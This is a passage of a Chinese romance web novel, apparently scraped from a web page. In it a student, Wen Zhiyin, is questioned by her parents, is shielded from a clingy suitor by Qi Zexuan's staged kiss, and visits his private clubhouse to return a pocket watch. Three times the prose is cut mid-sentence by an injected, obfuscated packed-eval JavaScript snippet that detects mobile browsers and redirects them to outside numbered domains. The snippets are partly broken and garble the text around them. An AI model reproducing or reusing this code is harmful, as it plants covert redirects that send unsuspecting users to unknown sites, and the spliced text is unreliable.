以前回到家，他们要么各忙各的，要么热情地给她切水果。 从来不会像这样一起端坐在沙发上，表情凝重。 叶清澜也不想兜兜绕绕，开门见山道：“你最近是不是交男朋友了？” 纵使温芷茵做好了心理准备，甚至开始回想是不是又要说暑假偷偷和同学徒步爬山那事，也万万没料到会听到这样一句话。 她茫然地看着母亲，又看看旁边皱着眉头的父亲，笃定地回：“没有。” 叶清澜低声叹口气，这让温芷茵更加摸不着头脑。 “你都学会跟我们说谎了？” “我没有。”温芷茵感到委屈，她不明白父母为什么会这样说。 “刚才我和你妈在阳台都看到了，你从一个男人的车上走下来，不是男朋友，人家为什么要送你？” 温钟良用耐心地口吻：“知知啊，你成年了，交男朋友我们也不拦着，可你不能瞒我我们。而且，对方的来头是不是不小？” 温芷茵张开嘴巴，却一句话也说不出来。 喉咙像被扼住，无法发出声音。她没办法解释这件事的前因后果。 如果从他们两个人认识开始说起，且不说他们相不相信，光细节都要讲一个晚上。 温芷茵尽量保持语调平静：“请你们相信我，他真的不是我男朋友，我们认识只是一场意外，今天......今天他送我回来，也是恰好顺路。” “他是你同学吗？”叶清澜问了一句。 “不是。” “一个学校的？” “也不是......他应该已经毕业了。” “那就是社会上的人，至少比你大三岁，你们怎么认识的？” 母亲的话很明显，不管是不是男朋友，她觉得这样的人不单纯，不应该和他有交集。 温芷茵编了一个小小的故事，大意是他是同学哥哥的朋友，一起吃饭时认识的。 “妈，我们平时联系不多，只偶尔......偶尔有事的时候才会联系，您放心，我会和他保持距离的。” “知知，不是说不让你交朋友，只是阶层和我们差距太大，你以后会吃亏的。这个人开的车我们也能看出来，那绝对不是个普通人家，我们也是为你好。” 温芷茵算是听明白了，这俩人压根儿就没相信她。 一个唱白脸，一个唱红脸，说来说去就是觉得她和一个有钱人家的公子哥谈上了，人家大概率只是玩玩，以后肯定被甩的。 温芷茵有点无奈，觉得心酸又好笑。 但眼下也没办法解释清楚，只能糊弄一下。 等卓澎的事过去了，她和这个男人应该也不会有交集了。 “爸，妈，我跟你们保证，这是最后一次让他送我，以后这个人绝对不会出现在我们小区里，他的联系方式我也会删掉。” 看到女儿脸上满是无辜，还一本正经地举起右手，父母绷着的脸终于松懈了。 “行了，知道我们知知最乖了，妈信你一次。” “赶紧去洗澡吧，一会儿让你妈给你切柚子，新买的。” 温芷茵暗暗松了一口气：“嗯，这就去了，给我切成那种一小块的，不要一整条，不好剥。” 钻进浴室后，温芷茵脱下衣服，才想起手臂上的伤。 雪白的皮肤上缀着一块淤青和点点血丝，好在医生涂得药很管用，已经不疼了。 这个澡洗得有点艰难，还得避开伤口。 不过，她心想，幸好父母没有看到。 不然就真的麻烦了。 - 班里举行团建活动，要求每个同学尽量参加。 温芷茵对这种活动兴趣不大，群里正在激烈讨论团建地点，她随手退了出来。 自从上次跟卓澎照完面，她将他拉黑之后，最近几天的确清静了不少。 温芷茵刷了一会儿巨物视频，这种视频起初看会有一种压迫和恐惧感，但越看越上瘾。 不知不觉间，过去了一个小时。 温芷茵又切回班级群，看到大家已经决定好了团建地，班长发消息艾特了所有人，后面写着： 时光别院轰趴馆。 这个名字...... 如果她没记错的话，不就是之前和齐泽玄见面喝果汁的地方？ 那里的老板还是他朋友。 班长：【@所有人，明天下午上完课在轰趴馆集合，位置很近可自行前往，收到请回复。】 【收到。】 【收到。】 ...... 温芷茵跟着敲下：【收到。】 “知知，你有创可贴吗，我翻书的时候手被划流血了，疼死了。”苏菁菁坐在床头抱怨。 纸张划过的锋利她也体验过，那可是钻心地痛。 “有，稍等下。” 她记得包里是装着创可贴的。 温芷茵把书拿出来，准备从角落里搜寻时，突然看到一个陌生的东西躺在包里的最下面。 那是一个金色圆形的物品，上面雕刻着精致的龙腾图，还带着长长的链子。 温芷茵一时没看出这是什么。 而且，怎么会在她的包里？ 她小心地拿出来，细致观察了一下。 正面的雕刻似乎是镂空的设计，能隐约看到里面好像是......表盘？ 温芷茵蓦地反应过来，这好像是一只怀表。 她在网上见过，但现实中还没看到过有人使用。 这个东西似乎在有钱人里比较流行。 回忆一下身边的人，好像......只有他有可能会用。 过往的事一点一点从脑子里蹦出，温芷茵记得只有一次，这个包离开过她。 当时她把包放在了齐泽玄的后车座上，为了拿外套把东西都掏出来，放回去的时候是抓着一堆东西塞进包里的。 难道就是那个时候不小心把车座上的怀表装进包里了吗？ 她不确定，但一定得核实一下。 “知知，你找到创可贴了吗？” “噢等下——有了有了。” 温芷茵把创可贴递给苏菁菁，然后回到自己的床铺，把那只怀表拍了一张照片，发了过去。 温芷茵：【这个东西是你的吗？】 大约过了二十分钟，齐泽玄来了信息。 【是我的，我以为丢了，怎么会在你那儿？】 温芷茵：【不好意思啊，上次坐你车时翻包找东西，装回去的时候不小心一起装包了，今天才发现。什么时候方便我给你送过去？】 这次她不好意思麻烦人家过来了，毕竟是她的过失。 齐泽玄：【没事，先放你那吧，下次见面再说。】 下次见面......都不一定什么时候了。 温芷茵想。 班级群又跳出艾特全体的消息，她切了回去。 班长：【刚刚跟老板聊了一下，这个轰趴馆比较高端，价格稍贵，团费紧张班主任建议换家，大家有更好的推荐吗？】 群里立刻有人开始抱怨。 【好不容易投票投好的怎么又换啊。】 【是啊，不能再砍砍价吗？班长你平时能说会道的功夫哪去了？】 【换低端的体验也不好吧，要不再跟班主任申请点资金？】 ...... 大家七嘴八舌地议论着，温芷茵却想起一件事。 齐泽玄曾经半开玩笑地说过如果以后去那家轰趴馆玩，报他的名字，可以打折。 不过她其实没必要介入这件事，只是看大家好像真的很失望，有点难受。 温芷茵犹豫一瞬，还是试探着发过去一句： 【上次你说如果去时光别院轰趴馆报你名字可以打折，还算数吗？】 虽然不是什么大事，等待的时候内心还是有些忐忑。 过了一会儿。 齐泽玄：【你要约朋友去玩吗？】 温芷茵：【嗯，班级团建。】 齐泽玄：【什么时间？】 温芷茵：【明天下午六点。】 最后她看到那句【没问题，我会跟老板说，给你们打五折。】的时候，开心地在床铺打起滚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062957|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温芷茵：【太感谢了，你是我的恩人！】 齐泽玄只发来一个笑脸。 “知知，你在兴奋什么？床都快给你震塌了。” 温芷茵顾不上解释，赶紧给班长发了信息过去。 ...... 当晚的团建大家玩得特别开心。 时光别院轰趴馆面积很大，娱乐项目也多，台球麻将，各种各样的游戏机，KTV，密室逃脱剧本杀等等。 晚餐吃的是烤肉，吃饱喝足后，不少人又开始第二轮的娱乐，大有战斗到天亮的架势。 温芷茵玩得有点累，跑到门口的沙发上坐着刷起手机。 没多久，门口进来几个人。 温芷茵以为是从外面游逛回来的同学，也没在意。 突然听到有人喊她。 “温芷茵，你怎么在这。” 声音熟悉又陌生。 温芷茵抬头，门厅的灯光照下来，打在那个人的脸上，是卓澎。 料是未曾想过在这能撞见他。 她平复了一下心情，礼貌道：“我们班今晚在这儿团建。” 言简意赅，一句废话没有。 卓澎站在原地没动，定睛打量着她。 “愣着干嘛呢，不是打游戏吗，赶紧进去啊。”旁边的男生催促道。 “你们先进去，我有事要处理。” “切，赶紧的啊，三缺一，组队不好组。” 门厅里只剩下两人，卓澎上前一步。 “温芷茵，你为什么要拉黑我？” 温芷茵感到好笑。 “这还用解释吗，我们没什么可聊的了。” “你就这么狠心，不能再给我一次机会吗？上次是我不对，我跟你道歉。” “你不用说这些，这跟你道不道歉没关系，你道歉了我也不会和你在一起，我们没有可能。” 她以为自己表达得已经很明确了。 卓澎沉默一瞬，转而又走近几步，伸手欲想拽温芷茵的胳膊。 “你干什么？”温芷茵察觉他的意图，立即站起来往后退。 “别误会，我只是想让你看看我为你做了什么。” 他把手机打开，翻出相册，“这里面是我们所有的聊天记录，我每天都会截图，还有，你说过的喜好我也会记录在备忘录，希望见面的时候能给你惊喜......” 温芷茵看着这些，心里不是感动，而是发堵。 “你没必要这样，你做这些只是感动了你自己。” “我可以变得更好的，你相信我......” 他还在喋喋不休地说着，温芷茵已经开始憋闷，心脏发麻。 她想立即逃离这里。 旁边就是楼梯口，她想起来，那里可以通往二层的露天看台。 温芷茵没再犹豫，转身迈向台阶。 ...... 夜里，高处的风也会更凉些。 温芷茵刚来到露天看台，还没歇口气，就听到身后人的脚步声。 没想到他脸皮那么厚，那么难缠。 她有些后悔，不应该来这里。 还不如去找其他同学，即便会社死，至少那么多人在他不敢当面再纠缠...... 思绪蓦地被打断。 刚才还只有零星灯光的看台，此刻亮起了一大片。 整个阳台被各种颜色的霓虹灯围了一圈，灯光如昼，煞是好看。 恍惚间，一个男人从那片光里走了出来。 穿着黑夹克，单手插兜，依旧是那副懒懒散散，漫不经心的模样。 “你、你怎么在这？”温芷茵惊诧道。 “朋友的店，我经常会来坐坐。” 他嘴角噙着笑，“你聚完会了吗？” 温芷茵深吸一口气，不知道要从何说起。 还没等她开口，男人拖腔带调的嗓音再次响起：“哦？今天还有别的朋友？” 他看着身后的男生，目光沉了一瞬。 “是卓澎。”温芷茵压低声音说。 “我知道。” 齐泽玄走到温芷茵身边，轻搂着她的肩膀。 眼睛盯着那个跟在身后的男生，身上的气场强势且压人，让人喘不过气。 他抬眼，语气不经意带出一丝凉意： “你跟着我女朋友，是有什么事吗？” 8.第八章 齐泽玄身上天然有一种生人勿近的狂傲感。 平时他说话总含着笑，温芷茵还不觉得这个人有多难相处，此刻站在他身边却莫名脊背发凉。 他一旦认真起来，散发的气场攻击性太强了。 “你、你真是他男朋友？”卓澎怔住了。 一直以来，他都抱着一丝侥幸心理，或者处于一种自我蒙蔽的状态，他不愿相信她真的有男朋友。 “不可能，之前怎么从来没听说过有你这号人物？为什么在我表白之后你就突然冒出来了......我不信。” 面对齐泽玄咄咄逼人的姿态，他明显气势弱了很多。 “小朋友，自欺欺人就是这么来的，我女朋友喜欢低调，没想到碰上你这么个死缠烂打的。” 齐泽玄顿了顿，又勾起嘴角，“小小年纪就学会插足别人的感情可不好哦。” 那语气简直就像是在调教小猫小狗。 卓澎的脸肉眼可见地开始涨红。 从来没有人这么羞辱过他。 “胡说八道，我、我就是确认一下你们的关系。” 卓澎慌乱中不忘掩饰，“我走了，朋友还、还在下面等我。” 看台的灯很亮，可他就像摸黑看不见路似地，踉踉跄跄地往前冲。 下台阶时，还差点被自己的脚绊倒。 温芷茵的胸口从刚才开始一直在砰砰跳着，生怕出现什么纰漏，此刻终于算是松了口气。 “这下他总该相信了。” “不一定。”齐泽玄声音淡了下来，比刚才温和了许多。 “还不一定？” “他只是被我吓到了才离开。” 温芷茵垂下头，心里愤愤地想，厉鬼都没有这么难缠吧？ “其实只需要一个契机，最好是意外撞见的契机......” “什么意思？”她抬眼看向他。 齐泽玄却没打算解释，跳过了这个话题：“你们团建什么时候结束？” “不知道呢，但看大家的兴致应该一时半会儿结束不了。” “嗯，那你在这陪我待一会儿吧。” 温芷茵眼中露出迷茫。 在耀眼的灯光下，脸上的神情逐渐变得惶然不安，欲言又止。 齐泽玄笑了起来：“才刚见面就走，若是被那个小男生看到，他会怎么想呢？” 原来如此。 情侣见面一定会黏很久嘛，她怎么忘了这茬儿。 “我懂了，那我就多待一会儿，看到他离开了我再走。” “去那边坐吧。”他指了指看台边缘的桌子。 那个地方，如果轰趴馆有人出来，是一眼能看到的。 齐泽玄顺手关掉了一部分的灯，让这里感觉没那么刺眼了。 现在已进入秋季，晚上的温度比白天低了不少，幸好温芷茵穿得够厚，才没有觉得冷。 只是—— 她看了看坐在对面的那个男人。 他依旧只穿着薄薄的外套，拉锁敞开，里面是一件黑T恤。 这个人好像从来不会觉得冷。 “你在看什么。”齐泽玄双手抱臂，好笑似地偏过头，“冷了？这个外套可不能给你，里面的衣服是半袖。” “我没想要！我就看看而已。” 温芷茵脸红了又红，迅速转过头，假装看远处的风景。 接下来，两人没再交流，各自玩着手机。 可温芷茵脑子里还在想着他刚刚说的话。 半袖，天啊，他是真的禁冻。 原来听苏菁菁讲过，男生身体里带着火，所以同样的季节比女生穿得少。 那他的身体应该住着火球吧...... 不知过了多久。 “他出来了。” 这一声打断了温芷茵的臆想。 等待的时间并没有像想得那么长，也许是他们今天打得不怎么顺利。 温芷茵转头看去，卓澎和另外两个男生前后走出了轰趴馆，前面的男生停在路边抽烟，卓澎在看手机，似乎想打车。 “过来。”齐泽玄站起身，勾了勾手，示意她跟过来。 “干什么？” 温芷茵走到看台边缘，和他一起靠着栏杆。 这个位置，如果下面有人抬头往上看，两人的动作能看得一清二楚。 “我刚才说需要一个契机。” “所以？” “现在正好。” 温芷茵还是没明白。 她是背对着下面的方向，齐泽玄就这么一直看着她。 半明半暗的视线交缠里，温芷茵最终败下阵来，忍不住开口：“你......” “差不多了。” 他说完这句话，身体突然向前，一只手虚扶着她的后背，另一只手撑住她的后脑，然后整个脸靠了过来。 在这不知几秒却像半个世纪那么久的过程里，温芷茵彻底懵了。 眼见他的脸越靠越近，她的心跳也越来越重。 在最后一刻快要失声喊出来时，他的头一偏，在她耳边说：“嘘，别出声，他能看到。” 两个人的姿势，从下面望去，全然是在接吻。 站在路旁抽烟的男生用余光瞄到，“啧”了一声，“秀恩爱啊。” 卓澎刚打完车，听到这话瞬间抬头，看到了那一幕。 他一直想追的女孩此刻正在跟她的男朋友缠绵在一起，旁若无人地接吻。 就连普通的霓虹灯照在两人身上，也显得那么的浪漫。 卓澎心里像被刺到了一般，这么多日子以来的梦终究破灭了。 他不忍再看下去，迅速回头：“这车怎么还不来，真烦。” ...... 温芷茵觉得自己快不能呼吸了。 她从来没有跟一个异性离得这么近过。 他身上的味道很特别，像是杂糅了几种清淡的香料，她只能闻出一点点的松香味。 这种香气夹杂着男性的荷尔蒙，让她整个人晕乎乎的，像喝醉了酒一样。 就算是懂了他的意思，知道这是在演戏给卓澎看，温芷茵也没办法完全冷静配合。 空气像是被静止，只有风声，心跳声，呼吸声，浑身的细胞都被对面的人支配着。 不知过了多久。 齐泽玄终于站直了身子，将歪歪斜斜的她扶正，笑着说：“好了，演技不错嘛。” 他竟然说她演技不错！ 温芷茵怀疑这个男人是不是在内涵自己。 她现在的样子一定特别狼狈，指尖在微微颤抖，头发被风吹得凌乱。 如果再过一会儿，她恐怕要坚持不住栽倒在他身上了。 太羞耻了。 温芷茵捂住了脸。 - 这件事之后，卓澎再也没找过她。 哪怕在校园里偶遇了，他也一句话不说，甚至有意躲开。 “咦，知知，他终于不再缠着你了？” 苏菁菁瞟了一眼正迈着大步快速离开的男生。 “嗯，多亏......多亏我气场强，把他劝退了。” 她不想再回忆那件事，含糊着说。 不想回忆那件事，可是那个人还要见。 温芷茵床头的抽屉里还放着他的怀表。 早知道团建那天他也在轰趴馆，就给人带过去了。 温芷茵不喜欢拿着别人的东西，希望还是尽早归还的好。 她主动给齐泽玄发了信息： 【你最近什么时候有空？我把表还给你。】 再收到回复时，已经是两个小时以后，她正在食堂吃饭。 齐泽玄：【这周都可以，看你。】 砂锅面溅出的汤，弄了一手的油，她拿纸擦了擦，还是油油的。 手不好打字，干脆直接用语音发了过去。 【明天下午我没课，我去找你吧，你在哪？】 齐泽玄发来了一个地址导航。 【你坐地铁到花园桥，然后需要打车过来，到了之后打电话给我，去接你。】 温芷茵点进去看了眼位置，距离学校大概四十分钟的路程，写着：华笙阁·会所。 这是......私人会所吗。 她心里冒出一种异样的情绪，不知道怎么形容。 那感觉就像，他们原本属于两个不同的世界，如今却因某种缘分，被迫闯入了另一个人的世界。 - 温芷茵到达华笙阁时，是下午两点。 这一带已经远离市区，像是新开发的生态园，一大片整齐的绿草地，旁边是一汪湖水，还有环绕在背面的树林。 而矗立在最中央的，是一座二楼层高的中式别墅。 白墙黑瓦，屋檐微微上翘，门口连着庭院，古铜色的大门紧紧闭着，看起来大气又庄严。 温芷茵莫名有一种置身于世外桃源的错觉。 她拨通了齐泽玄的号码，电话嘟嘟响了两声，被接起。 “我到华笙阁外了。” “好，等我一下。” 温芷茵以为要等一会儿，结果不到两分钟，大门就被打开了。 齐泽玄侧身迈出来。 他今天没有穿黑夹克，而是套了件黑色针织毛衣，有一种别样的慵懒气息。 温芷茵打开包，拿出一个盒子，又从里面掏出怀表，双手递给他：“我怕被压到就放这盒子里了，看看没有瑕疵吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064272|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “没关系，不必这么小心。”齐泽玄一只手拎起，随意放进口袋。 “对了，还要跟你说声谢谢，卓澎现在已经不再纠缠我了，多亏你的帮忙。” “那就好，这本来也是我答应你要做的事儿。” “那......没别的事我就先走了。” 她想着，或许这是最后一次和他见面了。 男人挑起眉梢：“大老远来的，不进去坐坐吗？” “不了。”温芷茵望了一眼他身后的大门，那像是一道围墙，那是他的世界，她不应该冒然闯入。 “这里没外人，就我几个朋友，你不是下午也没课？”齐泽玄似笑非笑地看着她。 温芷茵抿了抿唇。 她很怕他这样的表情，仿佛有一种魔力，一种不允许人抗拒的魔力。 “走吧，有好玩儿的东西。” 温芷茵最后还是没忍住诱惑，轻点了点头。 …… 庭院里又是另一幅风景。 中间是一座假山，上面有喷泉在流水，两边种着几颗雪松还有一间凉亭，一条碎石子铺成的小路笔直地贯穿整个院子。 温芷茵跟着往里走，一进屋内，映入眼帘的是墙面上精美的壁画，复古木质的地板，全天然紫檀木家具，每一个细节都散发着古韵和质感。 刚刚进入屋内，温芷茵还没看清来人，就听见一声拿腔拿调地吆喝：“诶呦喂，太阳打西边出来了，齐爷带了一个小姑娘过来。” 齐泽玄白了他一眼，没搭理他。 温芷茵这才看清，说话的是一位身材高壮的男人，年纪看起来和齐泽玄差不多大，寸头，穿着的衣服应该是某个潮牌。 “别卖关子了，还不赶紧介绍一下。” 潮男手里拿着酒瓶，旁边一排的杯子里放着五颜六色的液体，看样子，似乎是在调酒。 “嘴巴放干净点儿，她还是个学生。” 齐泽玄语气慵懒，却挡不住那警告意味。 “学生啊......卧槽，你也太变态了。” 齐泽玄当即从茶几上拎起一个酒瓶，作势就要甩过去。 “行行行，我错了，开个玩笑还不成。”潮男做了一个投降状。 此番一来一回，让温芷茵有些尴尬。 “史策。”齐泽玄简单介绍了一下，“最爱满嘴跑火车，不用理他。” “你好，我叫温芷茵，是......齐泽玄的朋友。” 她还是礼貌性地问候一声。 史策咧开嘴：“你好，小姑娘，哪个学校的？几年级？” “北科大，大二了。” “北科大是好学校啊，科技强国，有前途。” 温芷茵抿起嘴，心底荡出笑意。 虽然知道他可能只是随便一说，但听到母校被夸奖心里还是很开心。 史策把酒瓶在手里转了一圈儿：“喜欢喝什么酒？只要你说出个名儿，我都能调。” 温芷茵：“......” 事实上，她除了啤酒，别的都没喝过，哪里说的出什么名字。 “把你的热情收一收，她不喝酒。”齐泽玄走上前，有点护人似地抬手打断了他，“苗子麟呢？” “我哪儿知道，去后.庭了吧——子麟！你玄哥找你！” 史策一个大嗓门儿喊完，立刻从大厅后门跑进来一个少年。 看起来只有十五六岁，头发略长，在后面梳了一个狼尾，笑起来露着一颗小虎牙。 “我来了玄哥！什么事？” “去调杯奶茶——” “这里只有茉莉和桂花口味的，你要哪种？”他偏头问。 温芷茵才反应过来，后面这句话是对她说的。 “茉莉的就行，谢谢了。” “好嘞！等我几分钟，马上就来！”收到指令后，少年立马又跑去了后.庭。 屋内装饰古典又大气，让人忍不住想要多看几眼。但温芷茵不好意思乱看，有些局促地站在原地。 “先坐这歇会儿。” 齐泽玄手从兜里抄出，下意识地想扶下她的肩膀，反应过来不对，瞬间又收回了手。 “等下带你去二楼看看好东西。” 他的话刚说完，只见通往楼上的旋转楼梯上，缓缓走下一个男人。 他穿着深灰色的衬衫，黑色西服裤子，相貌堂堂，身上的气质却疏冷而寡淡，有一种遗世孤立之感。 “差点儿忘了，还有一位。”齐泽玄懒懒地往沙发一靠，双腿交叠，目光移向那个男人。 刚要开口—— 男人却直直走到温芷茵面前，不等旁边人介绍，径自伸出手： “久仰大名，卫煜。” 9.第九章 看着男人伸出的手，温芷茵稍怔一瞬。 随即也迟疑着递出手：“你好，你......知道我的名字？” “嗯，多亏你帮忙，我才能护住这条手链。” 说着，他便解开左手的衬衫袖扣，露出一条乌金手链。 温芷茵眨眨眼，思绪回到第一次见到齐泽玄的那一天。 原来是他。 他就是当初齐泽玄翻墙躲避保镖，嘴里说的为心上人和家人闹翻的朋友。 “恩人认完了，你也该打道回府了吧？” 齐泽玄手指敲着太阳穴，不咸不淡地插了一句。 “还早，”卫煜看了眼手表，“下午我没什么事。” “你不是要和赵家二小姐相亲？” 卫煜不屑地轻哼一声，在齐泽玄旁边坐下：“谁爱去谁去，反正我不去。” 温芷茵坐在两人对面，她察觉到，卫煜的一言一行总带着一股矜贵淡漠的气质，像那种良好世家的少爷。 而齐泽玄恰恰相反，浑身上下散发着一股桀骜不羁，天下唯我独尊的劲儿。 这两人在一起，还真是鲜明的对比。 恰在此时，苗子麟回到了大厅，他将茉莉奶茶恭恭敬敬地端到温芷茵面前：“姐姐好，尝尝合不合口味，不合适我再重新调。” 温芷茵赶紧伸手接过：“谢谢，合适的，我不挑。” “那不行，玄哥的朋友我一定要服务周到，不喜欢就告诉我。” 这样过分体贴到不像客气的话，让温芷茵有些不自在。 她双手捧着温热的奶茶，一靠近便闻到了淡淡的茉莉香味儿，轻抿了一口：“挺好喝的，谢谢你。” “那就好！”苗子麟开心道。 “子麟，这里没你事了，去后.庭玩吧。”齐泽玄冲他一点下巴，少年便立即从后门跑了出去。 不知道为什么，温芷茵总觉得有些奇怪。 她看不出来这个少年和他们的关系，另外三个人似乎都是家世不错的公子哥，但这个少年...... 他貌似和他们地位不太平等，但齐泽玄刚才看他的眼神，又带着一丝宠溺...... “他不用上学么？看起来应该还在上高中吧。”温芷茵忍不住好奇心，试探着问。 没想到，她这句话一出口，对面两人都沉默了下来。 温芷茵心里打起鼓来，指腹摩挲着奶茶杯边缘：“对不起，我是不是说错什么话了。” “没有。” 齐泽玄身子微微向前，顿了顿，解释道，“苗子麟是在孤儿院长大，初中就撤学了，我去年把他接出来后，才给他请家教补漏掉的课。” “啊......”温芷茵欲言又止，完全没想到他竟然是个孤儿。 她不知道他们之间有怎样的故事，也不知道他们是怎么相识的，只是单纯觉得难受，因为他是孤儿这件事。 小姑娘就是容易多愁善感，刚才还神色飞扬的，此刻耷拉着脑袋，肉眼可见的蔫儿了下去。 齐泽玄在她面前打了个响指。 “别急着伤感，他现在生活得挺开心的。” 温芷茵愣了一瞬，他看过来的眼神比往常柔和许多，像是带着安慰。 温芷茵平复下心情，不好意思地“嗯”了一声。 史策这边也调好了酒，将两杯“教父”和“蓝色妖姬”分别摆在了卫煜和齐泽玄的面前，而自己拿了杯“吉姆雷特”。 “我先说好了，不许挑，按我的喜好来。” “随便。” 卫煜拿起酒杯摇了摇，然后扬脖饮了一大口。 “你心情不好？”史策看着他面无表情地样子。 卫煜没出声，算是默认。 “早说啊我给你拿白酒，这点儿度数有屁用。” 卫煜没搭理他，继续托着杯子发呆。 温芷茵的杯子已见底，她瞄了眼对面的男人。 他一只手托着那杯蓝色妖姬，正慢慢地喝着。 整个杯身透着湛蓝色的液体，上面漂浮着浅黄色的柠檬片，光视觉看上去就觉得非常诱人。 温芷茵从来没喝过这种酒，她想着以后有机会也要尝尝。 齐泽玄的酒下去得很慢，他似乎不怎么想喝。 温芷茵放下奶茶杯的时候，他便站起来说：“走吧，我带你去楼上看看。” “嗯。” 两人顺着台阶来到二楼。 二楼有几间屋子，像是会客室，齐泽玄一边走一边解释几句：“这里是会客的地方，有时约见生意上的客户，平时大都是朋友来玩儿。” 温芷茵左看看右看看，这里的天花板很高，加上复古的装饰，有一种置身古代宫殿的错觉。 一直顺着走廊走到最里面，也是空间最大的那个房间。 齐泽玄推开门，一股扑面而来的沉香味让温芷茵呼吸一滞，紧接着陷入某种飘忽的舒适感。 灯被打开，屋里瞬间亮了几度。 这是一间展览室。 中间大面积是空着的，旁边用玻璃罩着的柜子里摆了一些书画，应该是出自大师之手。 而最引人注目的，是那满墙的浮雕壁画。 有山水，有古建筑，还有凤凰飞天，非常精致的做工，铺满了墙面。 温芷茵仰头望去，被这样漂亮又大气的画面震撼住了。 “好看吗？”齐泽玄问。 温芷茵忙不迭地点头：“好看，真好看。” 她又往前走了几步，近距离观赏起来。 连她一个外行都能感觉出来，这个工艺太细致了，一定价格不菲。 “这要多少钱啊？”她随意问了句。 “免费的。” “免费？......”温芷茵没懂。 齐泽玄笑笑，语气不同于往常，带了些许自豪：“这些是我自己刻的。” 温芷茵不敢相信自己的耳朵：“你的意思是，这满墙的浮雕，都是你自己......亲手刻的？” 直到看到对方点头，才确认这是真的。 再次把目光移到墙面上，温芷茵心里不禁深深感叹，真厉害啊。 她光这样看着，就觉得脑袋疼了。 可是...... 她又偷偷瞄了一眼那个男人，他竟然有这样的毅力。 明明看起来那么吊儿郎当的，像个不务正业的纨绔子弟。 “觉得不像是么。”齐泽玄打趣道。 “没......就是有些不可思议，这个东西应该挺难吧。” “倒也没那么难。”齐泽玄走到一幅山水画面前，摸着里面的山峰边缘，“只是很考验耐心。” 温芷茵深吸一口气：“那也很厉害了。” 她又好奇问：“这个东西是怎么做的呀，拿刀刻的么？” “嗯，是用浮雕粉，一种石膏材料混和水先砌上去，再拿专用刻刀和刻铲做出形状。” 温芷茵此刻脑子里浮现出他一个人在这里，一点一点地调配材料，然后手持工具认真“作画”地场景。 “我能拍张照片吗？” “当然可以。” 争得到同意，温芷茵拿起手机，把每一幅都拍了几张，最后录了个全景图。 壁画大都是白色的，只有中间一幅是水蓝白相间，那是一片汪洋大海。 回想起刚才他喝的鸡尾酒，温芷茵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077681|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然问：“你喜欢蓝色吗？” 本是无心一问，齐泽玄却像是感到很诧异，眉梢抬起，侧头看了她一眼后，轻点头：“是。” 两人又注目观赏了一会儿，才下楼回到一层。 卫煜和史策已经不在大厅，不知道是走了还是在别的房间休息。 温芷茵想自己差不多也该走了，正要开口道别，齐泽玄忽然指着一旁柜子里的零食说：“想吃什么自己去拿。” 温芷茵迟疑一瞬，最终放弃了挣扎。 ——还真有点饿了。 她拿了两块点心和一包薯片，放到茶几上吃了起来。 齐泽玄则去了趟后.庭，似乎是去找苗子麟了。 一个人坐着，更显得大厅空空荡荡的。 吃完了东西，她又觉得有点渴，刚要起身去拿饮料，正好齐泽玄回来了。 “他们都走了吗？” “没，在房间休息。” 齐泽玄瞧着小姑娘走向柜子，伸手够上面的饮料，饮料位置放得比较高，够起来有些费劲。 “等我拿。”齐泽玄走过去，站在她身后，“你要哪个？” 温芷茵感到身后升起一股热气，随之而来的是那淡淡的松香味，不由得绷紧了后背。 她看着那一排饮料，莫名紧张起来：“黄色那瓶。” 头上传来一声低笑。 这个距离，甚至能将他喉结带出的震动音传入耳中。 “这个是酒。” “啊......” 温芷茵脸颊染上一层绯色，“那就旁边的橙汁吧。” 齐泽玄伸手替她拿下，递到温芷茵面前：“给。” “谢谢。” 他似乎还想给自己拿一瓶喝的，没有立即离开。 而温芷茵也没有预料到他还站在原地不动，直接转过身。 一瞬间，两人面对面，以非常近的距离站在一起。 男人身上独有的荷尔蒙气息迅速将她包裹。 温芷茵的脸立刻烧了起来，慌乱间双手抱着的饮料瓶还蹭到了他胸口。 “对不起！” 齐泽玄也稍愣了一下，赶紧错开身。 看着此刻双睫颤动，已满脸通红的女孩，他轻轻开口：“是我的问题，抱歉。” 气氛一时凝固，两人都有些尴尬，幸好门口突如其来的声音打破了宁静。 “还没聊完呢？我们要撤了啊。” 史策走过来：“站这儿干嘛呢？欣赏柜子啊？” “拿点儿喝的，卫煜呢。”齐泽玄淡淡扯开话题。 “哦，他睡着了。” “他估计不回呢吧，回去就要准备相亲。” “那我再陪他待一会儿。”齐泽玄从柜子上拿下一听可乐。 温芷茵情绪还没有平复下来，不想再生事端，趁机插话：“我也该走了，要回学校了。” 齐泽玄看过来：“我送你。” “不用，我自己打车就行。” 她今天真的不想再跟他单独处在同一空间了。 齐泽玄顿了顿，没再强求：“那你到学校给我报个平安。” “饮料拿着路上喝吧。”他又补充一句。 